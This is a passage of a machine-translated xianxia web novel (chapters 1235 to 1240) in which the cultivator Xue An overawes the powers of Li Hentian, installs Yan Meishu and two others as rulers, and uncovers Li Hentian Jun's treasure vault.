    If you follow the normal process and follow the steps to learn and practice, it will take at least ten years before they can be qualified.


    Xue An certainly couldn''t wait here for ten years, so he simply used his powerful spiritual power and deep understanding of the exercises to directly instill these three exercises and deeply into the sea of ??knowledge of the three.


    Under this approach that is almost against the sky, the three people''s cultivation bases have advanced by leaps and bounds, and finally they are on the right track in just a few days.


    But this is not enough to deter the entire Li Hentian.


    After all, as the first day of the God Realm, Li Heng Tian is like a cloud. It was because of Li Heng Tianjun''s overwhelming and powerful deterrence that the strong from all sides bowed their heads.


    And the three women at this moment, although they have made great progress in strength, there is still a big gap compared with those in this world, let alone a deterrent.


    At this moment, Yan Meishu and the three people already know what Xue An thinks.


    When they knew that Xue An actually wanted the three of them to take charge of this world, they were all a little excited at first, but Xuan even felt the tremendous pressure.


    Especially now, the three of them are all aware of their own strengths. If they want to use this strength to protect themselves in Lihentian, they can still achieve it, but if they want to control a world and make all parties afraid, then Pure wishful thinking.


    This can''t help but make the three women worried.


    But Xue An didn''t seem to have considered this at all, when the three daughters finally entered the door of spiritual practice.


    He smiled faintly, "Very well, now I will take you back to Li Hentian and take charge of this world!"


    "But..." Among the crowd, Yan Meishu was really uncontrollable, and said openly.


    "Huh? Does Meishu have any questions?" Xue An glanced at her and said lightly.


    "Xue Ange, if you are in this world, you can naturally suppress the four directions, but once you leave, it is estimated that it will be difficult for all parties to be honest and obedient!" Yan Meishu gritted his teeth. Asked out his doubts.


    Everyone couldn''t help looking at Xue An with doubts, after all, they all had this question in their hearts at this moment.


    Xue An just smiled faintly, "You don''t need to worry about this, I have my own arrangements! Let''s go!"


    After that, Xue An waved his hand, and everyone flew out of the Fubao Xiaolou and returned to the Temple of Lihen.


    At the moment, the atmosphere of the Temple of Lihen is a bit strange.


    counted, and it had been ten days since Xue An left with Yan Meishu.


    During these ten days, everyone in the Yan family dared not leave the temple of Li Hate.


    Not only because of Xue An��s deterrence, but also because the external situation has become very complicated.


    The Blood Tiger Tower was destroyed by Xue An alone, and Guan Ziwang was beaten into a polished commander. Even the armor on his body was stripped. Only a soul was spared and he barely escaped.


    And this battle, all the forces and strong in the city of Li Hen have witnessed it with their own eyes.


    Therefore, the hearts of these people can''t help but feel cold, and they dare not make the slightest change, preparing for the arrival of the new king.


    How many days have passed, but Xue An has never left the Temple of Hatred for half a step, and even has no sound.


    This can''t help shocking all parties.


    How is this going?


    Why is there no sound suddenly?


    Could it be... he was injured?


    This idea began to spread in the hearts of everyone.


    Because no one knows what''s going on inside, but greed is always something that cannot be restrained.


    Although he was quite jealous of Xue An in his heart, the various forces could not help but gather outside the temple, trying to see what happened. .


    But this time people all learned well. They just watched secretly from a distance, and no one dared to come over.


    But even so, as time goes by, the crowd outside still gathers more and more.

 Chapter 1235： Just out of the tigers den and enter Longtan

    After waiting for ten days, looking out from the temple, the sky in the distance has been obscured by the crowd of Wuyang Wuyang.


    The powerful people from all sides gather together, and the power formed is enough to change the color of the world.


    Such a scene naturally made the Yan family in the temple frightened and even fell into a very embarrassing situation.


    Out, none of them dare not go out.


    wait, but don''t know how long to wait here.


    Under such a dilemma, there is an unspeakable weird atmosphere in Yan''s family.


    Many Yan family elites and ordinary disciples are all willing to wait here for Yan Meishu''s return.


    After all, Yan Meishu''s previous performance is beyond criticism, which is enough to prove her strength as Miss Yan''s family.


    But Yan Mengtao didn''t think so. She now understands that Xue An is not an ordinary man, and he is not accessible to people like her.


    And if Yan Meishu is really in charge of Yan''s family in the future, one can imagine what his situation will be.


    With this idea, she started to push her father to lead the Yan family away from here more than once.


    For example, at this moment, Yan Meishu whispered: "Father, ten days have passed now, this Mr. Xue and Yan Meishu have not returned! But there is not much time left for our Yan family!"


    Yan Yang is now haunted, even if he is sleeping, he will be awakened from time to time.


    Because of him now, his bowels are almost blue with regret.


    He has thought about it more than once, if he could have been obedient to his eldest daughter, how good it would be now!


    With a backer like Xue An, wouldn��t the Yan family still have to walk sideways in the sky of Li Hen?


    And myself, I will also become a great person who speaks one word, and will be admired by all.


    Unfortunately, there is no regret medicine in the world to take, and Yan Yang can only do nothing.


    Now, when he heard Yan Mengtao''s words, he couldn''t help frowning slightly, "What do you say?"


    "Father, don''t you see the situation outside? Nowadays, there are more and more powerful forces and powerful people gathered outside. The entire city of Liheng has been alarmed, and even faraway forces have arrived! "


    "So what? Even if they come, are they still afraid of the strength shown by Mr. Xue, and dare not cross the thunder pond half a step?"


    Yan Mengtao sneered when he heard the words, "Hehe, father, why are you so confused? Yes, this Mr. Xue is indeed powerful enough to overwhelm everyone, but the question is when will he return?"


    "Huh?" Yan Yang was taken aback.


    Yan Mengtao continued: "This Mr. Xue took Yan Meishu away, saying that he was going to teach her the exercises, but you don''t want to think, is cultivation such a simple thing? Even if Mr. Xue''s cultivation is shocking, but Yan Meishu No matter how talented you are, it will take time to re-practice a new set of exercises! Even if you want to get started, it will take at least ten years!"


    "And in ten years, have you ever thought about what will happen?"


    "What will appear?" Yan Yang asked in a daze.


    Yan Mengtao looked at the crowd gathered in the distance outside the window and said coldly: "These people are still afraid of Mr. Xue''s strength and dare not come over! But deterrence is time-effective. After a long time, these people will still be so honest. Really waiting? And now there are more and more powerful people gathered here! At the end, if the entire Li Hengtian powerful people come, then, even if our Mr. Xue returns, what can we do? ?"


    "You mean..." Yan Yang said tremblingly.


    "Yes, too many ants can kill an elephant! What''s more, the strong man in the sky is like a cloud. If they really all come together, the power formed, I think even this Mr. Xue You have to retreat!"


    "What do you mean..." Yan Yang''s face became paler and paler by his daughter''s words.


    "What I mean is very simple. The longer I stay here, the more disadvantages our family will be, because no one can guarantee when this Mr. Xue will return. Ten years is just my guess. Once he left this realm with Yan Meishu directly, and never came back? Isn''t our Yan family even more unlucky?" Yan Mengtao said with a sneer.


    "So, we might as well take advantage of the present time and directly contact the outside forces and choose a strong force to cooperate. After all, we have an advantage that others do not have, and that is the vast wealth in the temple of Li Hate!"


    At the mention of cooperation, Yan Yang''s face trembled, and a look of horror appeared in his eyes. He obviously remembered the cooperation with the Blood Tiger Tower. He couldn''t help saying: "But if we are like the Blood Tiger Tower again, wouldn''t we be talented? Out of the tiger''s den and into Longtan again?"


    "My eldest father, should we just wait for death here? Take a step back and talk about it. Even if this Mr. Xue returns soon, what you did to my older sister will really be forgiven by her. Huh? When she said, your position as Patriarch is probably going to be over!"


    Yan Mengtao''s words are the only thing that stabbed Yan Yang''s sore spot. This is also the thing he has been most worried about in the past few days.


    "This is the so-called risk, and my father can rest assured that as long as we plan well this time, we will definitely not be deceived like the last time!" Yan Mengtao said with clever tongue, "successfully".


    Yan Yang thought about it for a long time, and finally got upset, stood up and said: "Okay! Mengtao is right. We will die if we wait here. Why don''t we go out and try!"


    Yan Mengtao was overjoyed, "My father is indeed wise!"


    The father and daughter made up their minds and prepared to lead everyone out of the temple.


    But at this time an embarrassing thing happened.


    Except for the two of them, almost all members of the Yan family are reluctant to leave.


    and repeatedly expressed that he wanted to wait for the return of the eldest lady here.


    This can''t help but make Yan Yang feel more horrified and uneasy Yan Meishu hasn''t returned yet, and her power is almost emptied. If she comes back, will she not become an empty shell?


    Thinking of this, Yan Yang finally took out his fierce energy as the head of the family, slapped the elders who came forward to persuade them to fly out, and then said coldly.


    "I am the Patriarch of the Yan family. I said that if I go now, I have to go now. Who would dare not listen?"


    Now, the whole audience is quiet.


    Everyone in the Yan family stared at their own Patriarch in a daze, with disgust and disdain in their eyes.


    After all, the Yan family has fallen into this situation, to a large extent, this Yan Yang made it.


    How could it be if he hadn''t trusted the Blood Tiger Tower credulously?


    Can be helpless, Yan Yang, as the head of the Yan family, does have the right to kill everyone.


    These people had to listen despite their unwillingness in their hearts, so they had to lower their heads silently.


    Yan Yang then showed a smug smile, "You are waiting to listen. It is useless to wait here, because Mr. Xue is probably not coming back. For the survival of our Yan family, we can only do it as soon as possible. Get out of here, do you understand?"


    The audience was silent, no one spoke up.


    Yan Yang thought everyone had acquiesced, and nodded in satisfaction, then turned to Yan Mengtao and said, "Daughter, what do you think?"


    Yan Mengtao was also very happy, "My father is really good, it should not be too late, let''s go now!"


    But at this moment, I only heard a light laugh from the void. "Who said I won''t be back?"

 Chapter 1236： Jealous

    Boom!


    The whole audience was shocked.


    At the same time, I saw ripples in the void, and then Xue An slowly stepped out of it, standing proudly in the air, overlooking the Yan family and his daughter, smiling coldly.


    "Go? Where do you go?"


    When Xue An returned, the complexions of Yan''s father and daughter changed drastically.


    Especially Yan Yang, remorse, can''t wait to slap himself twice.


    Why can''t I escape the eyes of Mr. Xue no matter what I do?


    As for Yan Mengtao, she was trembling all over.


    Because Xue An''s sight stayed on her.


    Yan Mengtao never thought that the world would have such sharp eyes.


    is even so sharp that Yan Mengtao feels that her skin seems to be peeled apart as long as it is where Xue An''s eyes are, revealing the dripping flesh and blood inside.


    This feeling made Yan Mengtao feel as though sitting on pins and needles, and his face pale as paper.


    At this moment, Xue An''s mouth raised slightly, revealing a playful smile.


    "Should I say that your tongue is clever? Or should I praise your analysis? Deterrence is time-sensitive. The Yan family can only wait for death here. These words really seem to make sense. !"


    Yan Mengtao was shocked when he heard the words, and then looked at Xue An with a horrified face, "You... have you all heard?"


    Xue An smiled, "It''s not just that I heard it, it should be said that everyone has heard it!"


    , I saw Yan Meishu, Drunken Dream, Jiang Xunnan and others all walking out among the ripples.


    Even Zhang Xiaoyu and Hu Ying ran out to watch the fun.


    After seeing so many people appearing out of thin air in the air, Yan Mengtao''s mouth opened slightly and she was stupid in place.


    She thought that Xue An must have taken Yan Meishu to a long distance, but who could have imagined that he never left.


    Yan Mengtao felt horrified when he thought of what he had said in the past ten days.


    At this time, Yan Meishu looked at Yan Mengtao with a cold face, and said coldly: "My good sister, I always thought you were jealous of me because of a child''s heart, but now I know that you are pure It''s bad!"


    After hearing Yan Meishu''s words, the panic on Yan Mengtao''s face receded like a tide, and the flames of hatred and craziness rekindled in her eyes.


    "Yan Meishu, you don''t use this tone to talk to me. Since childhood, almost everyone in the family has liked you and praised you! Anything good will be given to you, but I just refuse to accept it! I am the best one. You are just lucky. You were born some time earlier than me. Why do you suppress me everywhere?"


    The more I said, the more crazy Yan Mengtao''s face was.


    "That''s why I have to prove myself and prove that I am no worse than you! But why! Why is your luck so good that you would meet such a strong person?"


    At the end, Yan Mengtao was almost screaming.


    Yan Meishu''s complexion changed. She had never thought that her own sister had so many emotions buried in her heart.


    Immediately, layers of anger also appeared on Yan Meishu��s face.


    "I''m suppressing you? Haha, Yan Mengtao, what are you doing while I''m practicing hard? You''re dancing with the princes at the prom! And when I was studying the caravan route, you were talking to young talents. Jun Hua Qian Yuexia!"


    "I pack my bags and travel supplies, and even when I can''t sleep until dawn, you are using all kinds of shameful secret techniques to maintain your body!"


    "I didn''t see you when I worked hard. At the end, you turned around but kept saying that I suppressed you! Yan Mengtao, did you mean it?"


    The usual Yan Meishu is very dignified, and she has always felt that Yan Mengtao is her half-sister anyway, so she tolerates everything and never said this.


    But at this time, Yan Meishu also broke out completely, and under this severe questioning.


    Yan Mengtao''s face was green and white, but there was no sign of repentance in his eyes.


    "Yan Meishu, I just don''t accept it, because of your existence, I have no chance to get ahead!"


    Speaking of this, Yan Mengtao has completely gone all out, and said with a mocking expression: "Yan Meishu, didn''t you go to learn art with Mr. Xue? Why did you come back so soon? Or that you are not the material at all, you have been completely Give up?"


    Talking, Yan Mengtao turned her head to look at Xue An, and giggled: "Mr. Xue, why don''t you teach me the exercises, I''m much smarter than this woman!"


    Xue An glanced at her with a smile but did not speak.


    Because at this moment, a powerful momentum rushed out of Yan Meishu''s body.


    This power is so powerful that it is totally different from the previous Yan Meishu.


    Yan Mengtao trembled all over, looking at all this in horror, "This...this..."


    Yan Meishu said coldly at this time: "Mr. De''s advice, fortunately, I have entered the door of cultivation! Yan Mengtao, what can you say now?"


    Yan Mengtao trembled and lowered her head.


    Yan Yang has long been indifferent, and can only flatter Xue An repeatedly, "My lord, you..."


    Before the words fell, Xue An''s eyes flashed, and a powerful force directly blasted Yan Yang out, and slammed heavily on the pillars of the temple It was extremely heavy, and Yan Yang almost had a mouthful of blood. Squirting out, the painful face was distorted, but he did not dare to make the slightest noise.


    Then Xue An said coldly: "I''m annoyed when I see your face, and when you show up in front of my eyes, I will kill you, understand?"


    Yan Yang was so frightened that he shook his clothes and fought.


    At this moment, only a low laughter came from Yan Mengtao, who was bowing her head.


    The laughter was weak at first, but gradually began to increase, and in the end, it was already full of hysterical madness.


    "The surname Xue, I am not satisfied! I am so close to you, why do you ignore me? Is it true that I really can''t compare to this Yan Meishu? You said, why am I not beautiful enough?" Yan Mengtao said madly.


    Fox Ying''s face sank, and she let out a cold snort, she was about to say something, and the small fish on the side quickly grabbed her.


    "Grandma, don''t mix up, don''t you see that this woman is crazy?"


    "A ugly monster, dare to be so arrogant?" Hu Ying was not angry.


    In fact, Yan Mengtao does not look ugly at all, and can even be called a beauty.


    But in front of the beautiful and vulgar Hu Ying, this ugly sound really didn''t wrong her!


    Xue An coldly looked at this woman whose face was distorted by jealousy, and then said playfully: "Where is not beautiful enough? Hehe! Yan''er?".


    With the voice, the ripples vibrated for a while, and An Yan walked out of the middle model.


    The moment she appeared, there was no sound in the entire Temple of Li Hate.

 Chapter 1237： 1 piercing arrow, 0 army and ten thousand horses...

    Even Yan Mengtao, who clamored wildly, was completely silly.


    Because An Yan is enough to kill her a hundred times in seconds, regardless of her temperament or appearance, then throw her into the soil and step on her foot heavily.


    This kind of disparity even made Yan Meishu completely a fool.


    After An Yan walked up to Xue An, Xue An said lightly: "Now, do you know where you are not enough?"


    Under this almost fatal blow, Yan Mengtao''s complexion changed uncertainly, and then she laughed strangely like a drowning man who did not want to abandon the last straw.


    "Good, good! I admit that I lost, but the surname is Xue, don��t be proud too early! Did you see it? Outside strong people from all sides have gathered more and more, and this will be your burial grave!"


    Speaking of this, Yan Mengtao laughed triumphantly, "Because I have passed the news to the outside through the secret method two days ago, saying that you are healing because of your serious injury, I guess the news will be spread now. At that time, the entire Li Hentian powerhouse is estimated to be moved by the wind! When the powerful people from all sides gather here, the surname is Xue, no matter how powerful you are, can you still be the entire Li Hentian, all the strong opponents?"


    Speaking of this, Yan Mengtao''s face showed a very resentful look, "At that time, as long as I have a breath, I will see with my own eyes how you are knocked to the ground! Hahahaha!"


    The laughter contained hatred that made the scalp numb.


    Everyone''s complexion changed, especially Yan Meishu, who was even more furious, and rushed to Yan Mengtao in a flash, then grabbed her clothes and slapped her hands.


    Happiness.


    After the fan was over, Yan Mengtao''s nose and mouth bleed, but the hatred in her eyes did not dissipate. Instead, she giggled and said, "Yan Meishu, if you have the ability, you can kill me now! Anyway, I''m dead, and you can''t live too. old!"


    "You..." Yan Meishu did move with the killing intent, raised his hand and drew out the dagger he carried with him, and then started to do it.


    At this moment, Xue An suddenly sighed, "Hold on!"


    Yan Meishu was taken aback, then turned to look at Xue An, "Brother Xue An?"


    Xue An smiled at her, "You get out first!"


    Even though he didn''t know what Xue An was going to do, Yan Meishu let go and stepped aside.


    At the same time, Xue An looked at Yan Mengtao up and down a few times. Yan Mengtao trembled as far as his eyes could reach, but the whole person was still holding on, and even sneered at Xue An provocatively.


    In the face of Yan Mengtao, who was stern and inward, Xue An also smiled, and then said lightly: "Interesting, I found you really interesting!"


    "Huh!" Yan Mengtao snorted coldly, "Xue, what do you want to say?"


    Xue An smiled faintly, "From the initial planning to the present showdown, I found that people like you have one of the biggest characteristics, that is, they will never be wrong, and the fault will always be others, this world! I can''t find a reason to shirk anymore, so I have to try to pull a few backs, otherwise you won''t be reconciled! What I said...right?"


    This summary made many people nodded secretly, and Hu Ying let out a sigh of bitterness, "Brother Xue is so right, this woman is like this, I hate it so much!"


    Yan Mengtao trembled, and a look of horror flashed in his eyes, but he still insisted: "What? The name Xue, you still think about how to get out of here? Hahahaha!"


    Yan Mengtao still wanted to laugh. As soon as the ridiculous sound came up, Xue An interrupted him, and saw him calmly saying: "Get out? Why should I get out?"


    "Huh?" Yan Mengtao''s eyes instantly rounded, staring at Xue An dumbly, "You..."


    Xue An smiled, then raised his head to look at the dark crowd in the distant sky, and said in a calm tone: "You just said, wait for the whole Li Hengtian powerhouse to gather here, and see what I do! I just want to Tell you, what I want is to get everyone here! Because...I still have a lot to do!"


    ''S words caused everyone in the audience to appear at a loss, not understanding what Xue An meant.


    Yan Mengtao did the same, but she recovered soon afterwards, and then sneered, "Fantasy!"


    Yan Meishu was so angry that he wanted to do it one step forward.


    Xue An smiled and waved his hand, "No, doesn''t she want to see what I do? Let her watch!"


    Talking, Xue An turned his head to look at An Yan, and said softly: "Yan''er, have you ever heard of a cloud-piercing arrow, thousands of horses come to meet?"


    An Yan was startled, and then nodded, "I heard it!"


    Xue An nodded, "That''s good! Today my husband will let you see what is real, a cloud-piercing arrow!"


    After that, Xue Anjian raised his eyebrows, and the entire dome of the Temple of Li Hate was instantly transformed into nothingness, revealing the blue sky above his head.


    Then Xue An rose up and stood on the sky in an instant.


    This scene was naturally seen by the crowd in the sky in the distance.


    This group of people are strong from all sides. They have been waiting here for more than ten days. They were initially a little impetuous, plus a rumor about Xue An''s injury is spreading rapidly.


    So many people started to move around.


    Unexpectedly, at this moment, the Temple of Lihen, which has not changed at all, would suddenly change.


    Especially when everyone saw that it was a young man in white that appeared above the sky, there was a commotion.


    "Is this Mr. Xue who defeated Li Hen Tianjun and the original poster of Blood Tiger?" Someone wondered.


    "Yes, that''s him! But he suddenly appeared here single-handedly, what did he want to do?" Someone asked in surprise just when everyone''s eyes were on Xue An.


    But seeing Xue An standing proudly, he smiled faintly.


    And along with the smile at the corner of his mouth, there was a powerful force that frightened everyone.


    Under this power, the sun and the moon, which were originally on the east and west, rose together, and then appeared in the middle of the sky at an extremely fast speed.


    Under the same radiance of the sun and the moon, Xue An stood in the air, all in white clothes was blown by the wind to hunt and hunt.


    Then Xue An slowly raised his hand, single finger day.


    At the moment when the fingertips were facing the sky, there was only a loud bang. From Xue An''s fingertips, a bright brilliance rushed straight through the sky.


    But seeing that the entire sky was stained by this brilliance, layers of halo even rushed toward the distance like a tide.


    At the same time, but seeing a huge phantom rushing straight up from behind Xue An, it instantly occupied the whole world.


    And this virtual image is exactly what Xue An looked like sitting on the red lotus.


    and its grandeur, even completely beyond the shackles of this world,


    But seeing the red lotus blooming slowly, and the entire Li Hentian, whether it is a strong or an ordinary person, was shocked at the same time, then raised his head and looked at the sky in horror.


    Because no matter where and where, above the sky at this moment, it is occupied by this virtual image of Xue An. .


    Then I saw the red lotus, and the magnificent Xue An slowly opened his mouth, and said in a loud voice.


    "This world is only used by me, you will come to see you as soon as possible, otherwise...no one will kill you!"

 Chapter 1238： Kou Xuan Tian Xian Tian Di surrender

    Under the word ����, the whole Li Hentian was shaken.


    Countless strong Tianjiao and Shenzong faction all looked at this virtual image above the sky in a daze, and then began to tremble uncontrollably.


    Because they were extremely horrified to discover that at the moment the white-clothed boy spoke, Li Heng''s heaven, whether it was boiling aura, mountains, lakes, and plains, all shook together, and then bowed their heads deeply, expressing their surrender.


    At this moment, Xue An is like an emperor who has traveled through the ages, proclaiming heaven and earth, and surrendering heaven and earth.


    This level of majesty, even the previous Li Hen Tianjun had never achieved it.


    And what Xue An said shocked everyone even more.


    Come and see you soon, otherwise there will be no mercy!


    The domineering implied in these words is enough to make people fearful.


    For a while, the whole Li Hentian was silent.


    At the same time, before leaving the Temple of Hatred, everyone present had already knelt to the ground, trembling all over, not even daring to lift their heads.


    Xue An smiled faintly, the virtual image behind him returned after a short while, returning to the sea of ??consciousness.


    This virtual image is the incarnation of Xue An''s vast divine mind.


    Then Xue An overlooked the four fields, and finally stopped his gaze on the stunned Yan Mengtao, and said lightly: "Now, do you understand what I am going to do?"


    Yan Mengtao trembled and looked at Xue An in horror. He wanted to say something, but couldn''t even speak.


    She couldn''t even dream that Xue An had such great magical powers.


    unexpectedly summoned all the strong in this world to come to see him.


    And the fact that all her previous arrangements have become a joke.


    Because no matter how sophisticated it is, in the face of absolute power, it is as vulnerable as the snow of the sun.


    At this moment, I saw brilliance everywhere on the earth of Li Hentian.


    Countless strong Tianjiao rose from the ground and headed straight to the Temple of Lihen.


    For a while, I saw the surrounding sky above the sky, the streamer was dense like a torrent, and the momentum was so great that even the sky lost its original color and turned into white glow.


    Soon, countless streamers flew to the front, and after standing still, it was the countless strong talents from all sides of Li Hengtian.


    In an instant, but before seeing the Temple of Li Hate, there was already a dense crowd of people standing there, and the number was still increasing.


    Under the crowds covering the sky, Xue An was alone, watching coldly.


    As far as their eyes can be seen, these powerful people who rushed over felt that their scalp was numb, and their heart was chilling, and then they couldn''t help lowering their heads.


    at last.


    After a meal, all the powerhouses in the whole Lihentian gathered here.


    A light breeze blew, and even though so many people gathered together, the audience was silent and terrible.


    After a long time, but seeing Xue An nodded slowly.


    "Very good, all of you are here, it will save me trouble!"


    The voice is not loud, but it reaches everyone''s ears very clearly.


    "Get to know first, my name is Xue An! You may not have heard of this name, but that''s okay. You only need to know that the Li Hen Tianjun who once held this realm has died in my hands, that''s enough!" Xue An said lightly.


    These words were like a bolt from the blue sky, which shocked countless people.


    Despite long speculation, when Xue An admitted in person, it still made everyone''s creeps.


    You must know that Li Heng Tianjun has been in charge of Li Heng Tian for thousands of years. This time is so long that many people have become accustomed to his existence, and naturally think that he is invincible.


    Unexpectedly, it was such a strong man, but in the end fell into the hands of such a white-clothed boy.


    The crowd started a slight commotion, but after Xue An looked around the audience coldly, all the commotion subsided instantly, and people bowed their heads again, showing their humility and respect in a very pious manner.


    Then he heard Xue An slowly say: "I call you to come, there is only one thing!"


    Everyone''s heart tightened in an instant, waiting for Xue An to continue talking in anxiety.


    "Li Heng Tianjun has fallen, but I have no interest in taking charge of this world, so I decided to..."


    Speaking of this, Xue Anchong, Yan Meishu and others in the distance nodded slightly.


    Yan Meishu, Drunken Dream, Jiang Xunnan and the others took a deep breath, suppressing the excitement and anxiety in their hearts, and then all flew up to Xue An''s approach.


    "Let these three people take charge of this world for me!"


    The audience was silent.


    Everyone''s gazes converged on the three of Yan Meishu.


    At the beginning, there was awe and fear in these eyes.


    can wait to take a closer look, especially when they discover the cultivation base and strength of the three of them, everyone can''t help being a little surprised, and then there are very strange looks on their faces.


    Among these, everyone in the Yan family had the greatest reaction.


    If Yan Meishu can really become the person in charge of this realm, then the entire Yan family will also ascend a chicken and dog to heaven and become a wealthy family.


    Therefore, the Yan family elite and many ordinary children are extremely excited.


    And Yan Mengtao, after a shock all over her body, her eyes turned blood red from jealousy, and then she stared at Yan Meishu above the sky.


    actually let her take charge of this world!


    Why!


    Why is she again?


    This thought is like a poisonous snake, madly eroding Yan Mengtao''s heart, and even the corners of her mouth flowed with blood.


    But soon, she noticed the strangeness on the face of the strong man in the sky, and then she sneered.


    This Mr. Xue really took it for granted!


    With the strength of these three Yan Meishu how could it be possible to subdue the strong in this world?


    Now there is Xue An��s strong pressure, no one dares to express an opinion.


    But as soon as he leaves, what the result will be can be imagined with his hair.


    After all, strength has always been respected in the God Realm. Without strength, no one would truly fear you!


    The strange gazes of everyone, Yan Meishu and the three daughters naturally felt it, which made all three of them feel like sitting on pins and needles, and they all looked at Xue An as if they were asking for help.


    But at this moment, Xue An showed a cold smile at the corner of his mouth, and then looked around the audience, "Which of you agrees and who opposes what I said?"


    The audience was awe-inspiring. Many people secretly glanced at each other. They all saw the hilariousness in each other''s eyes, and then they all said respectfully: "I have no opinion!"


    "That''s right! As my lord said, I will support myself!"


    "I agree!"


    In the noise of the drum, everyone expressed their opinions, and without exception, they all agreed.


    Xue An slowly nodded, "Very good! Since you agree so, I am also very happy! But..."


    As soon as the conversation turned, a cold smile appeared on the corner of Xue An''s mouth.


    "Just say no, I have to let you know something!".


    After that, Xue An took a step forward, raised his hand, and pressed it down with a palm.


    There was no sound, not even a trace of power, but under this careless palm, but seeing the entire building of Liheng City collapsed at the same moment, and then silently shattered.

 Chapter 1239： Xue An is here, the gods abdicated

    This is just the beginning!


    Immediately afterwards, the ground from Hengcheng began to disintegrate in pieces, turning into nothingness, and then crazily collapsed.


    in an instant.


    The city of Lihen, which just stood here, turned into a bottomless pit.


    Only the land around the Temple of Hatred still stands here. Looking at it from a distance, it looks like an island in the abyss.


    The power of a palm is so powerful.


    Everyone was staring dumbfounded, and there was nothing in the brain.


    Because of the power contained in this scene, it has exceeded many people''s imagination.


    At this time, Xue An slowly retracted his palm, looked around the audience, and said lightly: "This palm, can you be convinced?"


    No one dared to say one more word. Facing such power, they could only bow together and show their awe.


    Xue An nodded in satisfaction, "Since I am convinced, it''s easy to say!"


    After that, I saw Xue An raise his hand, use his finger as a pen, and paint in the void.


    Passing the fingertips, the golden light was condensed and not scattered, and soon formed a very mysterious and complicated talisman seal.


    In an instant, a golden talisman seal was formed, and then it trembled slightly, and it turned into three.


    And when three talisman seals appeared in the void, Xue An raised his hand and slapped the three talisman seals.


    Boom!


    When this palm was photographed, the three talisman seals suddenly radiated brilliant golden light, and a powerful force swept the audience.


    Xue An waved his hand, these three seals turned into golden light, and flew directly into the eyebrows of Yan Meishu, Drunken Dream, and Jiang Xunnan.


    The golden light circulates, and then it condenses into a rune flower talisman.


    All three women were taken aback.


    At the same time, I saw Xue An standing with his hand holding his hand, and said in a cold tone: "These three talisman seals contain the power of my palm. If anyone is unsatisfied, I can suppress them with this talisman! Understand?"


    The three women shook all over, only then did they understand Xue An''s hard work, and they were all awed by it, and then they all bowed together.


    "Yes, my lord!"


    While the audience can still hear the breeze blowing around the corners of the clothes.


    The many powerhouses who just cheered for it, their expressions are almost dripping with ugly expression at this moment.


    No one thought that Xue An would actually play such a hand.


    first established power with a palm, and then bestowed a talisman on each of the three.


    Many people looked down at the city of Li Hen which had become a big pit, and couldn''t help swallowing their saliva.


    If you want to be banged on your body by such a palm, even if you are a strong Da Luo, it is estimated that you will not be spared, even if you do not die, you will be seriously injured.


    Such tragic consequences, no one in the room dared to try with his own wealth and life.


    So these three Fuzhuan were incarnate as nuclear bombs on the earth, which played a terrifying deterrent effect.


    And the many powerhouses who just thought they had the opportunity to take advantage of it, just like the eggplant that has been beaten by the frost, instantly wilted.


    But Xue An was here, everyone did not dare to show the slightest dissatisfaction, so they could only bow together, expressing their fear.


    Xue An looked around the audience, watching these trembling gods, a cold smile appeared at the corner of his mouth.


    "From now on, these three people will take charge of this world for me, can you understand?"


    "Yes! I''ll understand it later!" Many quick-witted people said first.


    Then the whole crowd started to boil.


    Many powerful people who are usually very arrogant, are busy showing their loyalty to Xue An at this moment.


    Xue An didn''t bother to listen to these flattering words, and waved impatiently, "Since you understand, then all back! Remember, if there is anyone who refuses to obey the order, I will not forgive!"


    The last four words are categorical and full of bone-chilling chills.


    When everyone heard this, they were all in their hearts, and then they bowed to Xue An respectfully and quietly retreated.


    When ���� just came, the sky was full of light, and the momentum was like a rainbow.


    When they retired, these people were silent, and did not dare to transgress.


    And all of this is because of the young man in white standing in the void, standing with his hand holding his hand.


    The people who stayed in the Temple of Liheng all watched this scene in infinite awe.


    Yan Meishu looked at Xue An''s back obsessively, especially when he saw that under Xue An''s suppression, the entire power of Li Hengtian bowed their heads and reluctantly stepped back.


    can''t help but suddenly a sentence came to mind.


    Xue An is here, and the gods abdicated.


    At the same time, but seeing Xue An lowered his head and looked at Yan Mengtao, who had been shocked by the facts before her and lost her thinking ability, her brain was blank, she said coldly.


    "Now, what else do you have to say?"


    Yan Mengtao was shocked, the blankness in his eyes gradually faded, replaced by infinite panic and despair.


    She would never have imagined that Xue An''s strength was so powerful.


    thought he would bow his head because of the union of all the gods of Li Hentian, but the result was just the opposite.


    Xue An actually overwhelmed the whole world with his own power.


    "This...this..." Yan Mengtao trembled all over, and then suddenly she turned her head to look at Yan Meishu who was thinking of something.


    "Sister, I know I was wrong, Rao..."


    Before the words fell, Yan Meishu raised his eyebrows, and then raised his hand.


    Yan Mengtao stiffened, the brilliance in her eyes faded away, and the last trace of panic and puzzlement solidified on her face.


    Because of Yan Meishu''s finger, her spirit has been directly shattered.


    And until she was about to die, Yan Mengtao couldn''t understand why her sister, who had always tolerated her, suddenly became so decisive at this moment?


    But this doubt, she will never get answers.


    After Yan Mengtao''s body fell to the ground, Xue An gave Yan Meishu a slightly surprised look, and then nodded with a smile Well done! I thought that even if you killed her, it would take some trouble! "


    Yan Meishu smiled, "She is responsible for everything, and a dying person, why should I talk nonsense with her?"


    Xue An laughed loudly, "Well said!"


    Amidst the laughter, Yan Yang, who was originally lying on the ground and dared not even raise his head, flashed a frightened look in his eyes, and then ran to Yan Meishu with a sneer and smiled: " Mei...Meishu, I suddenly feel unwell, and I can no longer hold the position of Patriarch. You should be the Patriarch!"


    Hearing what he said, everyone in the Yan family showed joy.


    Yan Meishu was taken aback, then looked at Xue An.


    Xue An smiled, "This is your housework, you can figure it out!"


    After that, Xue An turned and led An Yan, Hu Ying and others to leave here, and disappeared directly into this temple of Lihen.


    After Xue An left, Yan Meishu looked down at Yan Yang, who was shaking all over, his expression changed, and finally nodded at Yan Yang.


    "Father, in that case, I will be the head of the family!"


    After hearing Yan Meishu''s father, Yan Yang suddenly let out a sigh, and his whole body no longer trembles.


    At the same time, the figures of Xue An and others have appeared in a hidden space in the Temple of Lihen. .


    And when An Yan saw the scene in this space, his eyes gradually widened and his face was full of surprise.


    Because in this secret space, what is piled up is almost heavenly wealth!

 Chapter 1240： Tianjun Finance

    But see the big Lingzhu spar all over the ground, the magical grass and fairy branches are piled up like a mountain, the magical blades are arranged into a forest, and the talisman seal armor floats in it.


    And the abundance of treasures formed by these countless treasures is even more dizzying and enchanting.


    While wandering, An Yan couldn''t help but exclaimed: "There are so many treasures! Does this Li Hentian Jun actually have so much wealth?"


    Hu Ying secretly laughed at the words, "Sister Yan, this is nothing at all, it''s just a half-step fairy king, the accumulated wealth is not enough!"


